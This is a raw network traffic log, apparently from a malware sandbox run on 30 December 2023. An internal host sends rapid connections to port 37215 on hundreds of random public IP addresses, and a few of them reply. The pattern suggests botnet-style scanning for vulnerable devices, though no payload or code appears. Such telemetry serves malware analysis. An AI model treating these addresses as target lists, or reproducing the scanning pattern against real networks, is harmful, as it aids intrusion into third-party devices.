Dec 30, 2023 07:13:52.370342970 CET	3641	37215	192.168.2.23	156.246.133.12
Dec 30, 2023 07:13:52.370348930 CET	3641	37215	192.168.2.23	41.174.80.208
Dec 30, 2023 07:13:52.370349884 CET	3641	37215	192.168.2.23	196.209.154.103
Dec 30, 2023 07:13:52.370351076 CET	3641	37215	192.168.2.23	222.197.233.75
Dec 30, 2023 07:13:52.370358944 CET	3641	37215	192.168.2.23	186.77.126.160
Dec 30, 2023 07:13:52.370363951 CET	3641	37215	192.168.2.23	197.163.148.170
Dec 30, 2023 07:13:52.370368004 CET	3641	37215	192.168.2.23	122.213.210.58
Dec 30, 2023 07:13:52.370368004 CET	3641	37215	192.168.2.23	197.89.112.209
Dec 30, 2023 07:13:52.370377064 CET	3641	37215	192.168.2.23	156.253.80.72
Dec 30, 2023 07:13:52.370378017 CET	3641	37215	192.168.2.23	156.222.126.87
Dec 30, 2023 07:13:52.370378017 CET	3641	37215	192.168.2.23	156.131.235.108
Dec 30, 2023 07:13:52.370390892 CET	3641	37215	192.168.2.23	197.163.160.204
Dec 30, 2023 07:13:52.370393991 CET	3641	37215	192.168.2.23	156.207.54.197
Dec 30, 2023 07:13:52.370393991 CET	3641	37215	192.168.2.23	156.140.76.103
Dec 30, 2023 07:13:52.370398998 CET	3641	37215	192.168.2.23	156.163.72.139
Dec 30, 2023 07:13:52.370399952 CET	3641	37215	192.168.2.23	197.158.217.34
Dec 30, 2023 07:13:52.370407104 CET	3641	37215	192.168.2.23	41.187.38.50
Dec 30, 2023 07:13:52.370419025 CET	3641	37215	192.168.2.23	41.25.5.38
Dec 30, 2023 07:13:52.370421886 CET	3641	37215	192.168.2.23	107.86.197.70
Dec 30, 2023 07:13:52.370421886 CET	3641	37215	192.168.2.23	41.41.85.194
Dec 30, 2023 07:13:52.370425940 CET	3641	37215	192.168.2.23	197.72.113.50
Dec 30, 2023 07:13:52.370426893 CET	3641	37215	192.168.2.23	95.181.254.247
Dec 30, 2023 07:13:52.370428085 CET	3641	37215	192.168.2.23	156.50.217.92
Dec 30, 2023 07:13:52.370429993 CET	3641	37215	192.168.2.23	41.147.88.223
Dec 30, 2023 07:13:52.370436907 CET	3641	37215	192.168.2.23	95.138.197.195
Dec 30, 2023 07:13:52.370440006 CET	3641	37215	192.168.2.23	41.131.144.20
Dec 30, 2023 07:13:52.370443106 CET	3641	37215	192.168.2.23	41.230.217.60
Dec 30, 2023 07:13:52.370452881 CET	3641	37215	192.168.2.23	107.31.208.198
Dec 30, 2023 07:13:52.370456934 CET	3641	37215	192.168.2.23	197.51.254.64
Dec 30, 2023 07:13:52.370456934 CET	3641	37215	192.168.2.23	41.111.11.125
Dec 30, 2023 07:13:52.370459080 CET	3641	37215	192.168.2.23	102.61.175.223
Dec 30, 2023 07:13:52.370459080 CET	3641	37215	192.168.2.23	95.239.128.47
Dec 30, 2023 07:13:52.370465040 CET	3641	37215	192.168.2.23	197.160.204.93
Dec 30, 2023 07:13:52.370470047 CET	3641	37215	192.168.2.23	120.243.128.210
Dec 30, 2023 07:13:52.370474100 CET	3641	37215	192.168.2.23	197.118.246.81
Dec 30, 2023 07:13:52.370482922 CET	3641	37215	192.168.2.23	197.140.128.32
Dec 30, 2023 07:13:52.370488882 CET	3641	37215	192.168.2.23	197.137.159.161
Dec 30, 2023 07:13:52.370488882 CET	3641	37215	192.168.2.23	45.151.116.105
Dec 30, 2023 07:13:52.370490074 CET	3641	37215	192.168.2.23	122.24.23.144
Dec 30, 2023 07:13:52.370491028 CET	3641	37215	192.168.2.23	197.120.186.10
Dec 30, 2023 07:13:52.370501995 CET	3641	37215	192.168.2.23	41.143.138.169
Dec 30, 2023 07:13:52.370501995 CET	3641	37215	192.168.2.23	156.105.101.74
Dec 30, 2023 07:13:52.370501995 CET	3641	37215	192.168.2.23	186.130.191.38
Dec 30, 2023 07:13:52.370502949 CET	3641	37215	192.168.2.23	37.238.226.38
Dec 30, 2023 07:13:52.370505095 CET	3641	37215	192.168.2.23	196.140.216.25
Dec 30, 2023 07:13:52.370505095 CET	3641	37215	192.168.2.23	41.100.88.43
Dec 30, 2023 07:13:52.370511055 CET	3641	37215	192.168.2.23	45.100.170.74
Dec 30, 2023 07:13:52.370512962 CET	3641	37215	192.168.2.23	41.162.175.188
Dec 30, 2023 07:13:52.370513916 CET	3641	37215	192.168.2.23	156.8.30.237
Dec 30, 2023 07:13:52.370513916 CET	3641	37215	192.168.2.23	41.92.131.135
Dec 30, 2023 07:13:52.370517015 CET	3641	37215	192.168.2.23	41.28.201.26
Dec 30, 2023 07:13:52.370521069 CET	3641	37215	192.168.2.23	156.228.120.110
Dec 30, 2023 07:13:52.370521069 CET	3641	37215	192.168.2.23	181.133.243.204
Dec 30, 2023 07:13:52.370522022 CET	3641	37215	192.168.2.23	186.173.12.218
Dec 30, 2023 07:13:52.370527029 CET	3641	37215	192.168.2.23	41.205.158.7
Dec 30, 2023 07:13:52.370527029 CET	3641	37215	192.168.2.23	197.110.17.177
Dec 30, 2023 07:13:52.370527029 CET	3641	37215	192.168.2.23	197.143.233.212
Dec 30, 2023 07:13:52.370527029 CET	3641	37215	192.168.2.23	156.222.244.212
Dec 30, 2023 07:13:52.370527029 CET	3641	37215	192.168.2.23	156.37.34.164
Dec 30, 2023 07:13:52.370532036 CET	3641	37215	192.168.2.23	197.235.117.195
Dec 30, 2023 07:13:52.370532036 CET	3641	37215	192.168.2.23	186.59.197.138
Dec 30, 2023 07:13:52.370532036 CET	3641	37215	192.168.2.23	156.123.151.22
Dec 30, 2023 07:13:52.370543003 CET	3641	37215	192.168.2.23	156.93.209.64
Dec 30, 2023 07:13:52.370551109 CET	3641	37215	192.168.2.23	41.153.243.251
Dec 30, 2023 07:13:52.370551109 CET	3641	37215	192.168.2.23	41.49.152.61
Dec 30, 2023 07:13:52.370553970 CET	3641	37215	192.168.2.23	154.196.174.41
Dec 30, 2023 07:13:52.370558977 CET	3641	37215	192.168.2.23	197.53.171.33
Dec 30, 2023 07:13:52.370558977 CET	3641	37215	192.168.2.23	41.147.166.239
Dec 30, 2023 07:13:52.370560884 CET	3641	37215	192.168.2.23	41.111.204.137
Dec 30, 2023 07:13:52.370573044 CET	3641	37215	192.168.2.23	41.56.73.64
Dec 30, 2023 07:13:52.370580912 CET	3641	37215	192.168.2.23	37.133.251.21
Dec 30, 2023 07:13:52.370589972 CET	3641	37215	192.168.2.23	41.23.177.183
Dec 30, 2023 07:13:52.370592117 CET	3641	37215	192.168.2.23	121.247.35.212
Dec 30, 2023 07:13:52.370592117 CET	3641	37215	192.168.2.23	122.114.204.91
Dec 30, 2023 07:13:52.370593071 CET	3641	37215	192.168.2.23	154.105.5.251
Dec 30, 2023 07:13:52.370594978 CET	3641	37215	192.168.2.23	156.4.64.236
Dec 30, 2023 07:13:52.370594978 CET	3641	37215	192.168.2.23	41.23.128.72
Dec 30, 2023 07:13:52.370594978 CET	3641	37215	192.168.2.23	41.199.92.134
Dec 30, 2023 07:13:52.370600939 CET	3641	37215	192.168.2.23	41.108.169.24
Dec 30, 2023 07:13:52.370601892 CET	3641	37215	192.168.2.23	154.237.96.239
Dec 30, 2023 07:13:52.370603085 CET	3641	37215	192.168.2.23	156.60.19.217
Dec 30, 2023 07:13:52.370604992 CET	3641	37215	192.168.2.23	37.247.233.36
Dec 30, 2023 07:13:52.370604992 CET	3641	37215	192.168.2.23	197.136.37.229
Dec 30, 2023 07:13:52.370614052 CET	3641	37215	192.168.2.23	156.241.86.49
Dec 30, 2023 07:13:52.370616913 CET	3641	37215	192.168.2.23	156.79.224.186
Dec 30, 2023 07:13:52.370614052 CET	3641	37215	192.168.2.23	41.207.108.7
Dec 30, 2023 07:13:52.370616913 CET	3641	37215	192.168.2.23	122.203.231.219
Dec 30, 2023 07:13:52.370618105 CET	3641	37215	192.168.2.23	197.4.239.193
Dec 30, 2023 07:13:52.370618105 CET	3641	37215	192.168.2.23	37.178.1.212
Dec 30, 2023 07:13:52.370619059 CET	3641	37215	192.168.2.23	154.143.40.143
Dec 30, 2023 07:13:52.370618105 CET	3641	37215	192.168.2.23	41.162.212.43
Dec 30, 2023 07:13:52.377476931 CET	37215	3641	181.34.117.62	192.168.2.23
Dec 30, 2023 07:13:52.601568937 CET	37215	3641	138.99.179.32	192.168.2.23
Dec 30, 2023 07:13:52.622895956 CET	37215	3641	37.208.106.250	192.168.2.23
Dec 30, 2023 07:13:52.637231112 CET	37215	3641	45.134.50.207	192.168.2.23
Dec 30, 2023 07:13:52.641360044 CET	37215	3641	45.10.216.217	192.168.2.23
Dec 30, 2023 07:13:52.674532890 CET	37215	3641	121.128.214.219	192.168.2.23
Dec 30, 2023 07:13:52.678262949 CET	37215	3641	121.164.114.233	192.168.2.23
Dec 30, 2023 07:13:52.692693949 CET	37215	3641	41.184.157.102	192.168.2.23
Dec 30, 2023 07:13:52.693228006 CET	37215	3641	197.7.187.167	192.168.2.23
Dec 30, 2023 07:13:52.694120884 CET	37215	3641	197.7.187.167	192.168.2.23
Dec 30, 2023 07:13:52.697664976 CET	3641	37215	192.168.2.23	197.7.187.167
Dec 30, 2023 07:13:52.709522009 CET	37215	3641	154.196.174.41	192.168.2.23
Dec 30, 2023 07:13:52.723401070 CET	37215	3641	197.5.62.98	192.168.2.23
Dec 30, 2023 07:13:52.763531923 CET	37215	3641	197.97.142.200	192.168.2.23
Dec 30, 2023 07:13:53.371644974 CET	3641	37215	192.168.2.23	197.99.143.132
Dec 30, 2023 07:13:53.371650934 CET	3641	37215	192.168.2.23	222.49.128.126
Dec 30, 2023 07:13:53.371654034 CET	3641	37215	192.168.2.23	41.47.122.23
Dec 30, 2023 07:13:53.371654034 CET	3641	37215	192.168.2.23	41.4.26.30
Dec 30, 2023 07:13:53.371655941 CET	3641	37215	192.168.2.23	156.99.185.252
Dec 30, 2023 07:13:53.371664047 CET	3641	37215	192.168.2.23	41.18.224.140
Dec 30, 2023 07:13:53.371664047 CET	3641	37215	192.168.2.23	41.222.126.139
Dec 30, 2023 07:13:53.371670008 CET	3641	37215	192.168.2.23	156.153.202.14
Dec 30, 2023 07:13:53.371675014 CET	3641	37215	192.168.2.23	156.216.90.48
Dec 30, 2023 07:13:53.371680021 CET	3641	37215	192.168.2.23	181.156.251.116
Dec 30, 2023 07:13:53.371680021 CET	3641	37215	192.168.2.23	107.34.205.163
Dec 30, 2023 07:13:53.371685028 CET	3641	37215	192.168.2.23	197.21.211.177
Dec 30, 2023 07:13:53.371690035 CET	3641	37215	192.168.2.23	197.196.233.208
Dec 30, 2023 07:13:53.371691942 CET	3641	37215	192.168.2.23	107.196.176.234
Dec 30, 2023 07:13:53.371706963 CET	3641	37215	192.168.2.23	37.75.221.200
Dec 30, 2023 07:13:53.371707916 CET	3641	37215	192.168.2.23	197.238.83.157
Dec 30, 2023 07:13:53.371709108 CET	3641	37215	192.168.2.23	41.139.184.54
Dec 30, 2023 07:13:53.371707916 CET	3641	37215	192.168.2.23	157.208.54.77
Dec 30, 2023 07:13:53.371709108 CET	3641	37215	192.168.2.23	156.162.196.141
Dec 30, 2023 07:13:53.371711016 CET	3641	37215	192.168.2.23	156.210.158.175
Dec 30, 2023 07:13:53.371709108 CET	3641	37215	192.168.2.23	156.168.124.152
Dec 30, 2023 07:13:53.371711016 CET	3641	37215	192.168.2.23	222.111.111.64
Dec 30, 2023 07:13:53.371711016 CET	3641	37215	192.168.2.23	41.211.134.189
Dec 30, 2023 07:13:53.371711016 CET	3641	37215	192.168.2.23	156.226.203.223
Dec 30, 2023 07:13:53.371721029 CET	3641	37215	192.168.2.23	156.112.136.207
Dec 30, 2023 07:13:53.371725082 CET	3641	37215	192.168.2.23	45.53.187.217
Dec 30, 2023 07:13:53.371728897 CET	3641	37215	192.168.2.23	41.92.25.61
Dec 30, 2023 07:13:53.371728897 CET	3641	37215	192.168.2.23	157.199.151.255
Dec 30, 2023 07:13:53.371731997 CET	3641	37215	192.168.2.23	122.165.182.74
Dec 30, 2023 07:13:53.371748924 CET	3641	37215	192.168.2.23	41.222.95.236
Dec 30, 2023 07:13:53.371748924 CET	3641	37215	192.168.2.23	92.188.158.78
Dec 30, 2023 07:13:53.371759892 CET	3641	37215	192.168.2.23	102.114.112.162
Dec 30, 2023 07:13:53.371761084 CET	3641	37215	192.168.2.23	41.188.23.128
Dec 30, 2023 07:13:53.371761084 CET	3641	37215	192.168.2.23	197.244.187.121
Dec 30, 2023 07:13:53.371762037 CET	3641	37215	192.168.2.23	102.215.35.240
Dec 30, 2023 07:13:53.371762991 CET	3641	37215	192.168.2.23	197.131.159.86
Dec 30, 2023 07:13:53.371772051 CET	3641	37215	192.168.2.23	156.86.134.106
Dec 30, 2023 07:13:53.371772051 CET	3641	37215	192.168.2.23	197.30.176.1
Dec 30, 2023 07:13:53.371774912 CET	3641	37215	192.168.2.23	156.208.181.237
Dec 30, 2023 07:13:53.371778011 CET	3641	37215	192.168.2.23	107.187.9.192
Dec 30, 2023 07:13:53.371778011 CET	3641	37215	192.168.2.23	154.109.30.182
Dec 30, 2023 07:13:53.371778011 CET	3641	37215	192.168.2.23	197.39.134.245
Dec 30, 2023 07:13:53.371783018 CET	3641	37215	192.168.2.23	160.180.230.70
Dec 30, 2023 07:13:53.371783018 CET	3641	37215	192.168.2.23	156.220.48.18
Dec 30, 2023 07:13:53.371783972 CET	3641	37215	192.168.2.23	41.77.163.218
Dec 30, 2023 07:13:53.371783972 CET	3641	37215	192.168.2.23	122.158.30.247
Dec 30, 2023 07:13:53.371788025 CET	3641	37215	192.168.2.23	197.97.138.185
Dec 30, 2023 07:13:53.371794939 CET	3641	37215	192.168.2.23	156.35.88.124
Dec 30, 2023 07:13:53.371798038 CET	3641	37215	192.168.2.23	197.4.90.196
Dec 30, 2023 07:13:53.371798038 CET	3641	37215	192.168.2.23	197.134.65.246
Dec 30, 2023 07:13:53.371798992 CET	3641	37215	192.168.2.23	197.14.21.39
Dec 30, 2023 07:13:53.371798992 CET	3641	37215	192.168.2.23	41.29.145.59
Dec 30, 2023 07:13:53.371798992 CET	3641	37215	192.168.2.23	121.70.26.172
Dec 30, 2023 07:13:53.371798992 CET	3641	37215	192.168.2.23	41.134.113.231
Dec 30, 2023 07:13:53.371804953 CET	3641	37215	192.168.2.23	157.34.251.29
Dec 30, 2023 07:13:53.371804953 CET	3641	37215	192.168.2.23	41.109.217.134
Dec 30, 2023 07:13:53.371810913 CET	3641	37215	192.168.2.23	92.221.80.149
Dec 30, 2023 07:13:53.371810913 CET	3641	37215	192.168.2.23	156.119.50.85
Dec 30, 2023 07:13:53.371814013 CET	3641	37215	192.168.2.23	41.62.195.5
Dec 30, 2023 07:13:53.371814013 CET	3641	37215	192.168.2.23	41.148.54.163
Dec 30, 2023 07:13:53.371818066 CET	3641	37215	192.168.2.23	197.197.0.39
Dec 30, 2023 07:13:53.371819019 CET	3641	37215	192.168.2.23	156.46.30.193
Dec 30, 2023 07:13:53.371826887 CET	3641	37215	192.168.2.23	197.12.10.241
Dec 30, 2023 07:13:53.371829033 CET	3641	37215	192.168.2.23	41.193.222.235
Dec 30, 2023 07:13:53.371829987 CET	3641	37215	192.168.2.23	121.200.247.99
Dec 30, 2023 07:13:53.371829987 CET	3641	37215	192.168.2.23	122.47.76.25
Dec 30, 2023 07:13:53.371830940 CET	3641	37215	192.168.2.23	120.68.107.29
Dec 30, 2023 07:13:53.371830940 CET	3641	37215	192.168.2.23	160.74.255.223
Dec 30, 2023 07:13:53.371830940 CET	3641	37215	192.168.2.23	197.217.9.8
Dec 30, 2023 07:13:53.371841908 CET	3641	37215	192.168.2.23	186.211.3.104
Dec 30, 2023 07:13:53.371841908 CET	3641	37215	192.168.2.23	121.248.88.55
Dec 30, 2023 07:13:53.371841908 CET	3641	37215	192.168.2.23	41.19.112.203
Dec 30, 2023 07:13:53.371844053 CET	3641	37215	192.168.2.23	196.248.215.16
Dec 30, 2023 07:13:53.371845007 CET	3641	37215	192.168.2.23	197.227.130.5
Dec 30, 2023 07:13:53.371845007 CET	3641	37215	192.168.2.23	156.86.80.105
Dec 30, 2023 07:13:53.371845007 CET	3641	37215	192.168.2.23	156.44.169.212
Dec 30, 2023 07:13:53.371849060 CET	3641	37215	192.168.2.23	156.53.83.248
Dec 30, 2023 07:13:53.371850967 CET	3641	37215	192.168.2.23	156.75.211.190
Dec 30, 2023 07:13:53.371861935 CET	3641	37215	192.168.2.23	197.249.159.46
Dec 30, 2023 07:13:53.371861935 CET	3641	37215	192.168.2.23	156.79.135.217
Dec 30, 2023 07:13:53.371865034 CET	3641	37215	192.168.2.23	197.243.149.132
Dec 30, 2023 07:13:53.371865034 CET	3641	37215	192.168.2.23	190.246.36.84
Dec 30, 2023 07:13:53.371867895 CET	3641	37215	192.168.2.23	197.75.70.246
Dec 30, 2023 07:13:53.371865988 CET	3641	37215	192.168.2.23	186.130.129.255
Dec 30, 2023 07:13:53.371865988 CET	3641	37215	192.168.2.23	197.217.249.44
Dec 30, 2023 07:13:53.371865988 CET	3641	37215	192.168.2.23	156.194.102.146
Dec 30, 2023 07:13:53.371865988 CET	3641	37215	192.168.2.23	122.74.33.57
Dec 30, 2023 07:13:53.371871948 CET	3641	37215	192.168.2.23	222.238.227.1
Dec 30, 2023 07:13:53.371872902 CET	3641	37215	192.168.2.23	41.240.31.216
Dec 30, 2023 07:13:53.371872902 CET	3641	37215	192.168.2.23	41.133.54.81
Dec 30, 2023 07:13:53.371874094 CET	3641	37215	192.168.2.23	156.206.69.27
Dec 30, 2023 07:13:53.371881008 CET	3641	37215	192.168.2.23	197.214.19.32
Dec 30, 2023 07:13:53.371886015 CET	3641	37215	192.168.2.23	95.105.118.128
Dec 30, 2023 07:13:53.371886015 CET	3641	37215	192.168.2.23	41.112.178.146
Dec 30, 2023 07:13:53.371890068 CET	3641	37215	192.168.2.23	41.103.248.3
Dec 30, 2023 07:13:53.371896029 CET	3641	37215	192.168.2.23	197.111.17.2
Dec 30, 2023 07:13:53.371896029 CET	3641	37215	192.168.2.23	197.223.92.226
Dec 30, 2023 07:13:53.371896029 CET	3641	37215	192.168.2.23	197.45.164.118
Dec 30, 2023 07:13:53.371896029 CET	3641	37215	192.168.2.23	120.182.79.145
Dec 30, 2023 07:13:53.371900082 CET	3641	37215	192.168.2.23	156.165.132.75
Dec 30, 2023 07:13:53.371900082 CET	3641	37215	192.168.2.23	197.150.239.102
Dec 30, 2023 07:13:53.371902943 CET	3641	37215	192.168.2.23	45.245.54.233
Dec 30, 2023 07:13:53.371906996 CET	3641	37215	192.168.2.23	45.57.34.170
Dec 30, 2023 07:13:53.371906996 CET	3641	37215	192.168.2.23	156.198.90.245
Dec 30, 2023 07:13:53.371906996 CET	3641	37215	192.168.2.23	41.87.92.16
Dec 30, 2023 07:13:53.371912003 CET	3641	37215	192.168.2.23	41.211.93.154
Dec 30, 2023 07:13:53.371912003 CET	3641	37215	192.168.2.23	41.5.187.101
Dec 30, 2023 07:13:53.371913910 CET	3641	37215	192.168.2.23	156.46.11.197
Dec 30, 2023 07:13:53.371913910 CET	3641	37215	192.168.2.23	154.120.167.113
Dec 30, 2023 07:13:53.371916056 CET	3641	37215	192.168.2.23	157.82.73.86
Dec 30, 2023 07:13:53.371928930 CET	3641	37215	192.168.2.23	197.81.33.117
Dec 30, 2023 07:13:53.371932030 CET	3641	37215	192.168.2.23	92.193.237.30
Dec 30, 2023 07:13:53.371934891 CET	3641	37215	192.168.2.23	156.163.197.189
Dec 30, 2023 07:13:53.371934891 CET	3641	37215	192.168.2.23	197.93.51.21
Dec 30, 2023 07:13:53.371937990 CET	3641	37215	192.168.2.23	92.15.55.36
Dec 30, 2023 07:13:53.371943951 CET	3641	37215	192.168.2.23	138.212.126.214
Dec 30, 2023 07:13:53.371947050 CET	3641	37215	192.168.2.23	156.239.190.226
Dec 30, 2023 07:13:53.371947050 CET	3641	37215	192.168.2.23	197.62.0.125
Dec 30, 2023 07:13:53.371957064 CET	3641	37215	192.168.2.23	196.169.129.154
Dec 30, 2023 07:13:53.371964931 CET	3641	37215	192.168.2.23	41.57.57.93
Dec 30, 2023 07:13:53.371964931 CET	3641	37215	192.168.2.23	156.191.34.240
Dec 30, 2023 07:13:53.371965885 CET	3641	37215	192.168.2.23	186.29.47.52
Dec 30, 2023 07:13:53.371978045 CET	3641	37215	192.168.2.23	156.72.23.201
Dec 30, 2023 07:13:53.371979952 CET	3641	37215	192.168.2.23	41.255.40.216
Dec 30, 2023 07:13:53.371988058 CET	3641	37215	192.168.2.23	197.33.142.163
Dec 30, 2023 07:13:53.371992111 CET	3641	37215	192.168.2.23	186.254.226.174
Dec 30, 2023 07:13:53.371992111 CET	3641	37215	192.168.2.23	37.1.41.11
Dec 30, 2023 07:13:53.371999979 CET	3641	37215	192.168.2.23	197.60.4.119
Dec 30, 2023 07:13:53.372001886 CET	3641	37215	192.168.2.23	41.154.159.0
Dec 30, 2023 07:13:53.372014999 CET	3641	37215	192.168.2.23	122.187.116.40
Dec 30, 2023 07:13:53.372015953 CET	3641	37215	192.168.2.23	197.67.4.50
Dec 30, 2023 07:13:53.372018099 CET	3641	37215	192.168.2.23	41.182.71.90
Dec 30, 2023 07:13:53.372018099 CET	3641	37215	192.168.2.23	41.213.59.13
Dec 30, 2023 07:13:53.372028112 CET	3641	37215	192.168.2.23	156.26.217.73
Dec 30, 2023 07:13:53.372028112 CET	3641	37215	192.168.2.23	197.242.244.125
Dec 30, 2023 07:13:53.372028112 CET	3641	37215	192.168.2.23	122.14.43.182
Dec 30, 2023 07:13:53.372029066 CET	3641	37215	192.168.2.23	41.113.114.112
Dec 30, 2023 07:13:53.372029066 CET	3641	37215	192.168.2.23	95.180.191.18
Dec 30, 2023 07:13:53.372029066 CET	3641	37215	192.168.2.23	156.121.168.203
Dec 30, 2023 07:13:53.372029066 CET	3641	37215	192.168.2.23	92.165.233.158
Dec 30, 2023 07:13:53.372037888 CET	3641	37215	192.168.2.23	197.232.69.219
Dec 30, 2023 07:13:53.372045040 CET	3641	37215	192.168.2.23	95.20.218.133
Dec 30, 2023 07:13:53.372046947 CET	3641	37215	192.168.2.23	222.95.221.126
Dec 30, 2023 07:13:53.372057915 CET	3641	37215	192.168.2.23	92.95.118.83
Dec 30, 2023 07:13:53.372057915 CET	3641	37215	192.168.2.23	41.88.240.75
Dec 30, 2023 07:13:53.372060061 CET	3641	37215	192.168.2.23	197.227.233.215
Dec 30, 2023 07:13:53.372060061 CET	3641	37215	192.168.2.23	156.57.10.225
Dec 30, 2023 07:13:53.372070074 CET	3641	37215	192.168.2.23	120.107.190.226
Dec 30, 2023 07:13:53.372071028 CET	3641	37215	192.168.2.23	102.27.67.234
Dec 30, 2023 07:13:53.372071981 CET	3641	37215	192.168.2.23	197.158.153.126
Dec 30, 2023 07:13:53.372078896 CET	3641	37215	192.168.2.23	154.128.55.60
Dec 30, 2023 07:13:53.372081041 CET	3641	37215	192.168.2.23	94.78.193.225
Dec 30, 2023 07:13:53.372091055 CET	3641	37215	192.168.2.23	121.78.142.37
Dec 30, 2023 07:13:53.372091055 CET	3641	37215	192.168.2.23	41.3.145.75
Dec 30, 2023 07:13:53.372101068 CET	3641	37215	192.168.2.23	156.123.61.148
Dec 30, 2023 07:13:53.372102022 CET	3641	37215	192.168.2.23	37.72.111.176
Dec 30, 2023 07:13:53.372111082 CET	3641	37215	192.168.2.23	41.158.73.103
Dec 30, 2023 07:13:53.372126102 CET	3641	37215	192.168.2.23	197.26.201.22
Dec 30, 2023 07:13:53.372128010 CET	3641	37215	192.168.2.23	45.105.141.121
Dec 30, 2023 07:13:53.372128963 CET	3641	37215	192.168.2.23	157.8.1.192
Dec 30, 2023 07:13:53.372129917 CET	3641	37215	192.168.2.23	197.29.222.8
Dec 30, 2023 07:13:53.372129917 CET	3641	37215	192.168.2.23	138.56.170.83
Dec 30, 2023 07:13:53.372129917 CET	3641	37215	192.168.2.23	138.195.169.196
Dec 30, 2023 07:13:53.372133017 CET	3641	37215	192.168.2.23	120.4.13.76
Dec 30, 2023 07:13:53.372133970 CET	3641	37215	192.168.2.23	156.73.108.236
Dec 30, 2023 07:13:53.372133970 CET	3641	37215	192.168.2.23	41.29.59.249
Dec 30, 2023 07:13:53.372133970 CET	3641	37215	192.168.2.23	121.236.191.224
Dec 30, 2023 07:13:53.372136116 CET	3641	37215	192.168.2.23	41.3.5.16
Dec 30, 2023 07:13:53.372136116 CET	3641	37215	192.168.2.23	41.74.97.88
Dec 30, 2023 07:13:53.372144938 CET	3641	37215	192.168.2.23	41.127.45.63
Dec 30, 2023 07:13:53.372144938 CET	3641	37215	192.168.2.23	102.114.179.191
Dec 30, 2023 07:13:53.372144938 CET	3641	37215	192.168.2.23	156.164.46.116
Dec 30, 2023 07:13:53.372150898 CET	3641	37215	192.168.2.23	94.217.131.80
Dec 30, 2023 07:13:53.372150898 CET	3641	37215	192.168.2.23	41.40.134.3
Dec 30, 2023 07:13:53.372150898 CET	3641	37215	192.168.2.23	197.163.251.218
Dec 30, 2023 07:13:53.372158051 CET	3641	37215	192.168.2.23	41.192.53.157
Dec 30, 2023 07:13:53.372159004 CET	3641	37215	192.168.2.23	37.254.65.19
Dec 30, 2023 07:13:53.372167110 CET	3641	37215	192.168.2.23	156.208.240.134
Dec 30, 2023 07:13:53.372168064 CET	3641	37215	192.168.2.23	154.129.60.46
Dec 30, 2023 07:13:53.372168064 CET	3641	37215	192.168.2.23	102.110.76.188
Dec 30, 2023 07:13:53.372169971 CET	3641	37215	192.168.2.23	156.205.157.10
Dec 30, 2023 07:13:53.372169971 CET	3641	37215	192.168.2.23	197.13.120.30
Dec 30, 2023 07:13:53.372169971 CET	3641	37215	192.168.2.23	138.184.60.236
Dec 30, 2023 07:13:53.372169971 CET	3641	37215	192.168.2.23	197.147.206.39
Dec 30, 2023 07:13:53.372174978 CET	3641	37215	192.168.2.23	41.7.68.226
Dec 30, 2023 07:13:53.372179031 CET	3641	37215	192.168.2.23	156.108.94.40
Dec 30, 2023 07:13:53.372181892 CET	3641	37215	192.168.2.23	156.165.94.62
Dec 30, 2023 07:13:53.372181892 CET	3641	37215	192.168.2.23	181.73.32.231
Dec 30, 2023 07:13:53.372183084 CET	3641	37215	192.168.2.23	138.226.70.221
Dec 30, 2023 07:13:53.372195005 CET	3641	37215	192.168.2.23	157.35.23.82
Dec 30, 2023 07:13:53.372195959 CET	3641	37215	192.168.2.23	197.135.122.101
Dec 30, 2023 07:13:53.372196913 CET	3641	37215	192.168.2.23	197.193.12.69
Dec 30, 2023 07:13:53.372199059 CET	3641	37215	192.168.2.23	92.195.73.176
Dec 30, 2023 07:13:53.372199059 CET	3641	37215	192.168.2.23	107.84.66.157
Dec 30, 2023 07:13:53.372200012 CET	3641	37215	192.168.2.23	197.130.242.221
Dec 30, 2023 07:13:53.372200966 CET	3641	37215	192.168.2.23	156.200.182.75
Dec 30, 2023 07:13:53.372209072 CET	3641	37215	192.168.2.23	197.169.202.138
Dec 30, 2023 07:13:53.372210979 CET	3641	37215	192.168.2.23	156.229.78.126
Dec 30, 2023 07:13:53.372210979 CET	3641	37215	192.168.2.23	197.113.111.126
Dec 30, 2023 07:13:53.372211933 CET	3641	37215	192.168.2.23	156.87.70.197
Dec 30, 2023 07:13:53.372211933 CET	3641	37215	192.168.2.23	120.39.146.11
Dec 30, 2023 07:13:53.372211933 CET	3641	37215	192.168.2.23	122.141.39.232
Dec 30, 2023 07:13:53.372211933 CET	3641	37215	192.168.2.23	94.141.52.81
Dec 30, 2023 07:13:53.372212887 CET	3641	37215	192.168.2.23	197.108.187.77
Dec 30, 2023 07:13:53.372212887 CET	3641	37215	192.168.2.23	41.16.115.209
Dec 30, 2023 07:13:53.372215986 CET	3641	37215	192.168.2.23	41.223.161.31
Dec 30, 2023 07:13:53.372219086 CET	3641	37215	192.168.2.23	156.236.98.201
Dec 30, 2023 07:13:53.372230053 CET	3641	37215	192.168.2.23	160.200.41.34
Dec 30, 2023 07:13:53.372234106 CET	3641	37215	192.168.2.23	156.211.251.229
Dec 30, 2023 07:13:53.372234106 CET	3641	37215	192.168.2.23	157.22.119.212
Dec 30, 2023 07:13:53.372236967 CET	3641	37215	192.168.2.23	41.15.196.110
Dec 30, 2023 07:13:53.372245073 CET	3641	37215	192.168.2.23	120.173.242.29
Dec 30, 2023 07:13:53.372251987 CET	3641	37215	192.168.2.23	156.215.53.43
Dec 30, 2023 07:13:53.372252941 CET	3641	37215	192.168.2.23	120.106.85.175
Dec 30, 2023 07:13:53.372256041 CET	3641	37215	192.168.2.23	156.122.136.182
Dec 30, 2023 07:13:53.372256041 CET	3641	37215	192.168.2.23	41.253.211.68
Dec 30, 2023 07:13:53.372258902 CET	3641	37215	192.168.2.23	156.115.217.102
Dec 30, 2023 07:13:53.372258902 CET	3641	37215	192.168.2.23	41.53.178.102
Dec 30, 2023 07:13:53.372262001 CET	3641	37215	192.168.2.23	41.169.144.48
Dec 30, 2023 07:13:53.372263908 CET	3641	37215	192.168.2.23	222.244.75.209
Dec 30, 2023 07:13:53.372270107 CET	3641	37215	192.168.2.23	156.238.140.180
Dec 30, 2023 07:13:53.372277975 CET	3641	37215	192.168.2.23	154.228.153.106
Dec 30, 2023 07:13:53.372279882 CET	3641	37215	192.168.2.23	197.113.61.206
Dec 30, 2023 07:13:53.372279882 CET	3641	37215	192.168.2.23	197.161.23.43
Dec 30, 2023 07:13:53.372279882 CET	3641	37215	192.168.2.23	41.52.39.65
Dec 30, 2023 07:13:53.372282028 CET	3641	37215	192.168.2.23	197.186.25.164
Dec 30, 2023 07:13:53.372282028 CET	3641	37215	192.168.2.23	121.177.153.140
Dec 30, 2023 07:13:53.372278929 CET	3641	37215	192.168.2.23	156.16.174.241
